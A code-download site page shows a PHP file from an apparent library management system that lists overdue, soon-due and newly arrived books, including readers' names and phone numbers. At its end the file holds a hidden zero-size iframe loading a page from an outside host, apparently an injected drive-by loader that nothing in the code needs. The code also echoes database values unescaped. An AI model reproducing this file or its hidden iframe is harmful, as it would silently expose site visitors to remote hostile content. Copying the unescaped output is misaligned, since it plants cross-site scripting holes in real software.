⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 top.php

📁 我不是乱码
💻 PHP
字号:
<?php
include "config.php";
?>
<link href="css/css.css" rel="stylesheet" type="text/css">

  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" align="left" class="tabletitle"> 逾期未还图书</td>
    </tr>
  </table>
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
	  <td width="50"  align="center" class="word">编号</td>
      <td width="370" align="center" class="word">书   名</td>
      <td width="150" align="center" class="word">类 别</td>
      <td width="176" align="center" class="word">读者部门</td>
      <td width="120"  align="center" class="word">读者姓名</td>
      <td width="100"  align="center" class="word">读者电话</td>
      <td width="128"  align="center" class="word">借书日期</td>
      <td width="128"  align="center" class="word">应还日期</td>
    </tr>

<?php  //使用子查询,查询出选择的某个类别的某本图书的信息

$sql="select * from lendingbook where (to_days(shoulddate)-to_days(now()))<=0";

$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
?>	
<tr bgcolor='#BCD2E6'>
<td height='20' align='center' class='word'><?php echo $row["no"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["bookname"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["category"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["department"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["readername"]; ?></td>
<td align='center' class='word'><?php echo $row["phone"]; ?></td>
<td align='center' class='word'><?php echo $row["lenddate"]; ?></td>
<td align='center' class='word'><?php echo $row["shoulddate"]; ?></td>
</tr>
 <?php
 }
?>
  </table> 


  <br />
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" align="left" class="tabletitle"> 明天到期图书</td>
    </tr>
  </table>
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
      <td width="50"  align="center" class="word">编号</td>
      <td width="370" align="center" class="word">书   名</td>
      <td width="150" align="center" class="word">类 别</td>
      <td width="176" align="center" class="word">读者部门</td>
      <td width="120"  align="center" class="word">读者姓名</td>
      <td width="100"  align="center" class="word">读者电话</td>
      <td width="128"  align="center" class="word">借书日期</td>
      <td width="128"  align="center" class="word">应还日期</td>
    </tr>
    <?php  //使用子查询,查询出选择的某个类别的某本图书的信息

$sql="select * from lendingbook where (to_days(shoulddate)-to_days(now()))=1";

$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
?>
    <tr bgcolor='#BCD2E6'>
      <td height='20' align='center' class='word'><?php echo $row["no"]; ?></td>
      <td height='20' align='center' class='word'><?php echo $row["bookname"]; ?></td>
      <td height='20' align='center' class='word'><?php echo $row["category"]; ?></td>
      <td height='20' align='center' class='word'><?php echo $row["department"]; ?></td>
      <td height='20' align='center' class='word'><?php echo $row["readername"]; ?></td>
      <td align='center' class='word'><?php echo $row["phone"]; ?></td>
      <td align='center' class='word'><?php echo $row["lenddate"]; ?></td>
      <td align='center' class='word'><?php echo $row["shoulddate"]; ?></td>
    </tr>
    <?php
 }
?>
  </table>
  <br />
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" align="left" class="tabletitle"> 新到图书 </td>
    </tr>
  </table>
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
      <td width="70"  align="center" class="word">编号</td>
      <td width="370" align="center" class="word">书   名</td>
      <td width="130" align="center" class="word">类 别</td>
      <td width="110" align="center" class="word">存放位置</td>
      <td width="100"  align="center" class="word">状态</td>
      <td width="80"  align="center" class="word">借出次数</td>
      <td width="100"  align="center" class="word">入库时间</td>
    </tr>
    <?php  //使用子查询,查询出选择的某个类别的某本图书的信息

$sql="select * from books where (to_days(intodate)-to_days(now()))<60";

$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
?>
    <tr bgcolor='#BCD2E6'>
      <td height='20' align='center' class='word'><?php echo $row["no"];?></td>
      <td height='20' align='center' class='word'><?php echo $row["bookname"];?></td>
      <td height='20' align='center' class='word'><?php echo $row["category"];?></td>
      <td height='20' align='center' class='word'><?php echo $row["location"];?></td>
      <td height='20' align='center' class='word'><?php echo $row["state"];?></td>
      <td align='center' class='word'><?php echo $row["lendnumber"];?></td>
      <td align='center' class='word'><?php echo $row["intodate"];?></td>
    </tr>
    <?php
 }
?>
  </table>
  
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -